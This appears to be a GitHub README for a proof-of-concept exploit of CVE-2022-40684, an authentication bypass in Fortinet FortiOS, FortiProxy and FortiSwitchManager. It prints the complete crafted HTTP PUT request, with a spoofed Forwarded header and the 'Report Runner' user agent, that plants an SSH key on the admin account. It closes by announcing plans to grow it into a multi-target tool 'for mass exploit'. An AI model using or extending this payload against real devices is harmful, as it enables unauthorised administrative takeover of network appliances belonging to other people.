iveresk/cve-2022-40684Proof-of-concept exploit for CVE-2022-40684 authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager. Injects SSH keys via crafted HTTP PUT request to gain admin access.
For now it's a POC copy for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
Coppied from https://github.com/horizon3ai/CVE-2022-40684
The exploit uses the simple payload:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Content-Length: 610
{
"ssh-public-key1": "fake-key"
}
This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.
Develop it for a full scale exploit with multi-targets and multi-servers for mass exploit.
